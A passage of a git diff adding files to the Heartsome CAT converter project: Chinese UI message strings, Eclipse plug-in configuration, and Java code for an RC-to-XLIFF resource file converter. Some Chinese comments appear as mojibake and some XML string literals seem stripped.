slideN.xml \u6587\u4ef6... +pptx.PPTX2XLIFF.task6 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +pptx.PPTX2XLIFF.logger1 = [LOG] PPTX \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +pptx.PPTX2XLIFF.msg1 = PPTX \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +pptx.XLIFF2PPTX.task1 = \u6b63\u5728\u89e3\u6790 XLIFF \u6587\u4ef6... +pptx.XLIFF2PPTX.task2 = \u6b63\u5728\u89e3\u538b\u9aa8\u67b6\u6587\u4ef6... +pptx.XLIFF2PPTX.task3 = \u6b63\u5728\u751f\u6210\u76ee\u6807\u6587\u4ef6... +pptx.XLIFF2PPTX.task4 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +pptx.XLIFF2PPTX.task5 = \u6b63\u5728\u5904\u7406 {0} \u6587\u4ef6... +pptx.XLIFF2PPTX.logger1 = [LOG] XLIFF \u8f6c\u6362\u4e3a PPTX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +pptx.XLIFF2PPTX.msg1 = XLIFF \u8f6c\u6362\u4e3a PPTX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +pptx.XLIFF2PPTX.msg2 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\u3002\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + +pptx.TYPE_NAME_VALUE = Microsoft PowerPoint \u6f14\u793a\u6587\u7a3f (PPTX) + +preference.PPTXPreferencePage.title = Microsoft PowerPoint +preference.PPTXPreferencePage.groupCommon = \u8f6c\u6362\u9009\u9879 +preference.PPTXPreferencePage.imageLabel = \u8f6c\u6362 Microsoft PowerPoint \u6f14\u793a\u6587\u7a3f (PPTX) \u6587\u4ef6\u65f6\uff0c\u6392\u9664\u5982\u4e0b\u7c7b\u578b\u7684\u53ef\u7ffb\u8bd1\u6587\u672c\uff1a +preference.PPTXPreferencePage.btnNote = \u5907\u6ce8 +preference.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/.classpath b/hsconverter/net.heartsome.cat.converter.rap.ui.example/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/.project b/hsconverter/net.heartsome.cat.converter.rap.ui.example/.project new file mode 100644 index 0000000..9d8342d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.rap.ui.example + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.rap.ui.example/META-INF/MANIFEST.MF new file mode 100644 index 0000000..acdae32 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Ui +Bundle-SymbolicName: net.heartsome.cat.converter.rap.ui.example;singleton:=true +Bundle-Version: 1.0.0.qualifier +Bundle-Activator: net.heartsome.cat.converter.rap.ui.Activator +Require-Bundle: org.eclipse.rap.ui, + net.heartsome.cat.convert.ui.example;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: javax.servlet;version="2.4.0", + javax.servlet.http;version="2.4.0" diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/build.properties b/hsconverter/net.heartsome.cat.converter.rap.ui.example/build.properties new file mode 100644 index 0000000..2b0d95b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/build.properties @@ -0,0 +1,5 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/plugin.xml b/hsconverter/net.heartsome.cat.converter.rap.ui.example/plugin.xml new file mode 100644 index 0000000..c70b70b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/plugin.xml @@ -0,0 +1,14 @@ + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/src/net/heartsome/cat/converter/rap/ui/Activator.java b/hsconverter/net.heartsome.cat.converter.rap.ui.example/src/net/heartsome/cat/converter/rap/ui/Activator.java new file mode 100644 index 0000000..1b14f88 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/src/net/heartsome/cat/converter/rap/ui/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.converter.rap.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.converter.rap.ui"; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rap.ui.example/src/net/heartsome/cat/converter/rap/ui/Application.java b/hsconverter/net.heartsome.cat.converter.rap.ui.example/src/net/heartsome/cat/converter/rap/ui/Application.java new file mode 100644 index 0000000..7438b0f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rap.ui.example/src/net/heartsome/cat/converter/rap/ui/Application.java @@ -0,0 +1,34 @@ +package net.heartsome.cat.converter.rap.ui; + +import net.heartsome.cat.convert.ui.ApplicationWorkbenchAdvisor; + +import org.eclipse.rwt.RWT; +import org.eclipse.rwt.lifecycle.IEntryPoint; +import org.eclipse.rwt.lifecycle.UICallBack; +import org.eclipse.rwt.service.SessionStoreEvent; +import org.eclipse.rwt.service.SessionStoreListener; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.application.WorkbenchAdvisor; + +/** + * This class controls all aspects of the application's execution + * and is contributed through the plugin.xml. + */ +public class Application implements IEntryPoint { + + public int createUI() { + final Display display = PlatformUI.createDisplay(); + + UICallBack.activate(String.valueOf(display.hashCode())); + RWT.getSessionStore().addSessionStoreListener(new SessionStoreListener() { + + public void beforeDestroy(SessionStoreEvent event) { + UICallBack.deactivate(String.valueOf(display.hashCode())); + } + }); + + WorkbenchAdvisor advisor = new ApplicationWorkbenchAdvisor(); + return PlatformUI.createAndRunWorkbench( display, advisor ); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rc/.classpath b/hsconverter/net.heartsome.cat.converter.rc/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.rc/.project b/hsconverter/net.heartsome.cat.converter.rc/.project new file mode 100644 index 0000000..a7bed8c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.rc + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.rc/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.rc/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..e54769c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:14:14 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.rc/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.rc/META-INF/MANIFEST.MF new file mode 100644 index 0000000..18e7b2c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter RC +Bundle-SymbolicName: net.heartsome.cat.converter.rc +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.rc.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.slf4j +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.rc/build.properties b/hsconverter/net.heartsome.cat.converter.rc/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Activator.java b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Activator.java new file mode 100644 index 0000000..d4bc69a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Activator.java @@ -0,0 +1,97 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rc; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator. The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.rc"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The rc2 xliff sr. */ + private ServiceRegistration rc2XliffSR; + + /** The xliff2 rc sr. */ + private ServiceRegistration xliff2RcSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the converter services + Converter rc2Xliff = new Rc2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Rc2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Rc2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Rc2Xliff.TYPE_NAME_VALUE); + rc2XliffSR = ConverterRegister.registerPositiveConverter(context, rc2Xliff, properties); + + Converter xliff2Rc = new Xliff2Rc(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Rc.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Rc.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Rc.TYPE_NAME_VALUE); + xliff2RcSR = ConverterRegister.registerReverseConverter(context, xliff2Rc, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (rc2XliffSR != null) { + rc2XliffSR.unregister(); + } + if (xliff2RcSR != null) { + xliff2RcSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Rc2Xliff.java b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Rc2Xliff.java new file mode 100644 index 0000000..95957ca --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/Rc2Xliff.java @@ -0,0 +1,1056 @@ +/** + * Rc2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rc; + +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rc.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + * The Class Rc2Xliff. + * @author John Zhu + */ + +public class Rc2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "winres"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("rc.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "RC to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Rc2XliffImpl converter = new Rc2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Rc2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Rc2XliffImpl { + + /** The input. */ + private FileInputStream input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The buffer. */ + private InputStreamReader buffer; + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The last word. */ + private String lastWord = ""; //$NON-NLS-1$ + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The seg id. */ + private int segId; + + /** The stack. */ + private String stack; + + /** The block stack. */ + private int blockStack; + + /** + * æºæ–‡ä»¶ç¼–ç  + */ + private String srcEncoding; + + /** + * 计算当å‰è½¬æ¢çš„进度 + */ + private CalculateProcessedBytes cpb; + + /** + * 转æ¢è¿›åº¦ç›‘视器 + */ + private IProgressMonitor monitor; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + this.monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + segId = 0; + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + boolean isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + String qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + try { + /* + * 此转æ¢å™¨çš„实现逻辑比较å¤æ‚,且存在å„方法相互调用的情况,故在逻辑中添加进度计算的代ç æ¯”较困难。考虑到转æ¢è¿‡ç¨‹ä¸­ï¼Œè¦ä¹ˆæŠŠæºæ–‡ä»¶çš„å¯ç¿»è¯‘å•å…ƒå†™å…¥åˆ° xliff 文件中,è¦ä¹ˆæŠŠæºæ–‡ä»¶ä¸­çš„ä¸å¯ç¿»è¯‘å•å…ƒå†™å…¥åˆ° + * skeleton 文件中,所以å¯ä»¥æ ¹æ®æºæ–‡ä»¶çš„大å°ï¼Œä»¥åŠå½“å‰å·²ç»å†™ xliff å’Œ skeleton 文件的大å°ï¼Œç®—出当å‰çš„转æ¢è¿›åº¦ã€‚ + */ + cpb = ConverterUtils.getCalculateProcessedBytes(inputFile); + this.monitor.beginTask(Messages.getString("rc.Rc2Xliff.task1"), cpb.getTotalTask()); + this.monitor.subTask(""); + input = new FileInputStream(inputFile); + buffer = new InputStreamReader(input, srcEncoding); + output = new FileOutputStream(xliffFile); + stack = ""; //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeString("\n"); //$NON-NLS-1$ + } else { + writeString("\n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" " //$NON-NLS-1$ + + srcEncoding + "\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + + skeleton = new FileOutputStream(skeletonFile); + + parseRC(); + + skeleton.close(); + + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + buffer.close(); + input.close(); + output.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("rc.Rc2Xliff.msg1"), e); + } finally { + this.monitor.done(); + } + + return result; + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + // 计算转æ¢è¿›åº¦ + caculateProcessed(string); + } + + /** + * Write skeleton. + * @param character + * the character + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(char character) throws IOException { + writeSkeleton(String.valueOf(character)); + } + + /** + * Write segment. + * @param segment + * the segment + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSegment(String segment) throws IOException { + // add sentence segmentation + if (segment.equals("")) { + return; + } //$NON-NLS-1$ + writeString(" \n" + " " + TextUtil.cleanString(segment) + "\n" //$NON-NLS-1$ //$NON-NLS-2$ + + " \n"); //$NON-NLS-1$ + writeSkeleton("%%%" + segId++ + "%%%"); //$NON-NLS-1$ //$NON-NLS-2$ + // 计算转æ¢è¿›åº¦ + caculateProcessed(segment); + } + + /** + * 计算转æ¢è¿›åº¦ + * @param str + * è¦å†™å…¥ xliff 或 skeleton çš„æºæ–‡ä»¶ä¸­çš„字符串 ; + */ + private void caculateProcessed(String str) { + // 是å¦å–消æ“作 + if (this.monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("rc.cancel")); + } + int workedTask = 0; + try { + workedTask = cpb.calculateProcessed(str.getBytes(srcEncoding).length); + } catch (UnsupportedEncodingException e) { + // ignore the exception + e.printStackTrace(); + } + if (workedTask > 0) { + this.monitor.worked(workedTask); + } + } + + /** + * Parses the rc. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseRC() throws IOException { + char character; + while (buffer.ready()) { + character = (char) buffer.read(); + if (character == '#') { // directives + parseDirective(); + } else if (character == '/') { // comments + // comment /* or // + parseComment(); // Keep the state + } else if (!blankChar(character)) { + parseStatement(character); + } else { + writeSkeleton(character); + } + } + } + + /** + * Parses the comment. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseComment() throws IOException { + writeSkeleton("/"); //Last character read //$NON-NLS-1$ + + boolean bLargeComment; + char prevChar = ' '; + char character; + + if (buffer.ready()) { + character = (char) buffer.read(); + writeSkeleton(character); + bLargeComment = character == '*'; // Large comment /* */ + + // Add the comment to the skeleton + while (buffer.ready()) { + character = (char) buffer.read(); + writeSkeleton(character); + if (bLargeComment && prevChar == '*' && character == '/') { + break; + } else if (!bLargeComment && (character == '\n' || character == '\r')) { + break; + } + prevChar = character; + } + } + } + + /** + * Parses the statement. + * @param initial + * the initial + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseStatement(char initial) throws IOException { + String statement = String.valueOf(initial); + writeSkeleton(initial); + statement = statement.concat(parseWords(" ,\n\r\t", true, false)); //$NON-NLS-1$ + if (statement.trim().equals("STRINGTABLE")) { //$NON-NLS-1$ + parseStringTable(); + } else if (statement.trim().equals("DIALOG") || statement.trim().equals("DIALOGEX")) { //$NON-NLS-1$ //$NON-NLS-2$ + parseDialog(); + } else if (statement.trim().equals("MENU") || statement.trim().equals("MENUEX")) { //$NON-NLS-1$ //$NON-NLS-2$ + parseMenu(); + } else if (statement.trim().equals("POPUP")) { //$NON-NLS-1$ + parsePopup(); + } else if (statement.trim().equals("DLGINIT")) { //$NON-NLS-1$ + parseDlgInit(); + } else if (beginBlock(statement.trim())) { // BEGIN + blockStack = 0; + parseBlock(); + } + } + + /** + * Parses the directive. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseDirective() throws IOException { + char character = ' '; + writeSkeleton('#'); + String statement = parseWords(" \t", true, false); //$NON-NLS-1$ + if (statement.trim().equals("define")) { //$NON-NLS-1$ + parseDefine(); + } else { + while (buffer.ready() && character != '\r' && character != '\n') { + character = (char) buffer.read(); + writeSkeleton(character); + } + } + } + + /** + * Parses the define. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseDefine() throws IOException { + String word = ""; //$NON-NLS-1$ + while (buffer.ready()) { + stack = ""; //$NON-NLS-1$ + word = parseWords(" \n\t\r,\"L", false, true); //$NON-NLS-1$ + if (word.trim().equals("\"")) { //$NON-NLS-1$ + captureString(true); + } else { // is END or ID + writeSkeleton(stack); + if (word.equals("\r") || word.equals("\n")) { //$NON-NLS-1$ //$NON-NLS-2$ + break; + } + } + } + } + + /** + * Parses the block. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseBlock() throws IOException { + blockStack++; + String statement = ""; //$NON-NLS-1$ + while (blockStack != 0 && buffer.ready()) { + statement = parseWords(" \n\t\r", true, false); //$NON-NLS-1$ + if (beginBlock(statement.trim())) { + blockStack++; + } else if (endBlock(statement.trim())) { + blockStack--; + } + } + } + + /** + * Parses the dialog. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseDialog() throws IOException { + parseDialogContent(); + parseControlBlock(); + } + + /** + * Parses the dialog content. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseDialogContent() throws IOException { + String word = " "; //$NON-NLS-1$ + while (!beginBlock(word)) { + word = parseWords(" \n\t\r(),", true, false); //$NON-NLS-1$ + if (word.trim().equals("CAPTION")) { //$NON-NLS-1$ + captureString(false); + } + } + } + + /** + * Parses the control block. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseControlBlock() throws IOException { + boolean isEnd = false; + parseWords(" (),\r\n\t", true, false); //$NON-NLS-1$ + do { + lastWord = lastWord.trim(); + if (lastWord.equals("CONTROL") || lastWord.equals("LTEXT") || lastWord.equals("CTEXT") || lastWord.equals("RTEXT") || lastWord.equals("AUTO3STATE") || //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + lastWord.equals("AUTOCHECKBOX") || lastWord.equals("AUTORADIOBUTTON") || lastWord.equals("CHECKBOX") || lastWord.equals("PUSHBOX") || //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + lastWord.equals("PUSHBUTTON") || lastWord.equals("DEFPUSHBUTTON") || lastWord.equals("RADIOBUTTON") || lastWord.equals("STATE3") || //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + lastWord.equals("USERBUTTON") || lastWord.equals("GROUPBOX")) { //$NON-NLS-1$ //$NON-NLS-2$ + isEnd = parseControlTypeI(); + } else if (lastWord.equals("EDITTEXT") || lastWord.equals("BEDIT") || lastWord.equals("IEDIT") || lastWord.equals("HEDIT") || //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + lastWord.equals("COMBOBOX") || lastWord.equals("LISTBOX") || lastWord.equals("SCROLLBAR") || lastWord.equals("ICON")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + isEnd = parseControlTypeI(); + } else { + parseWords(" (),\r\t\n", true, false); //$NON-NLS-1$ + } + if (isEnd) { // End of block in last control + break; + } + } while (true); + } + + // return true if it has a block in the control + /** + * Parses the control type i. + * @return true, if successful + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private boolean parseControlTypeI() throws IOException { + char cIni = ' '; + while (blankChar(cIni) && buffer.ready()) { + cIni = (char) buffer.read(); + if (cIni != '"' && cIni != 'L') { + writeSkeleton(cIni); + } + } + + // first parameter optional string + if (cIni == '"') { + captureString(true); + } else { + if (cIni == 'L') { // String type L"String" + writeSkeleton(cIni); + cIni = (char) buffer.read(); + if (cIni == '"') { + captureString(true); + } else { // don't have string + writeSkeleton(cIni); + } + } + } + + String word = " "; //$NON-NLS-1$ + boolean hasBlock = false; + while (!isEndControlStatement(word)) { + word = parseWords(" \t(),\r\n", true, false).trim(); //$NON-NLS-1$ + if (beginBlock(word)) { // begin an optional data block in the + // control + hasBlock = true; + } + } + return !hasBlock && endBlock(word); // end of control block? + } + + /** + * Write conditional. + * @param character + * the character + * @param write + * the write + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeConditional(char character, boolean write) throws IOException { + if (write) { + writeSkeleton(character); + } else { + stack += String.valueOf(character); + } + + } + + /** + * Parses the comment. + * @param write + * the write + * @param large + * the large + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void parseComment(boolean write, boolean large) throws IOException { + writeConditional('/', write); // Last character read + if (large) { + writeConditional('*', write); + } else { + writeConditional('/', write); + } + + char prevChar = ' '; + char character; + + // Add the comment to the skeleton + while (buffer.ready()) { + character = (char) buffer.read(); + writeConditional(character, write); + if (large && prevChar == '*' && character == '/') { + break; + } else if (!large && (character == '\n' || character == '\r')) { + break; + } 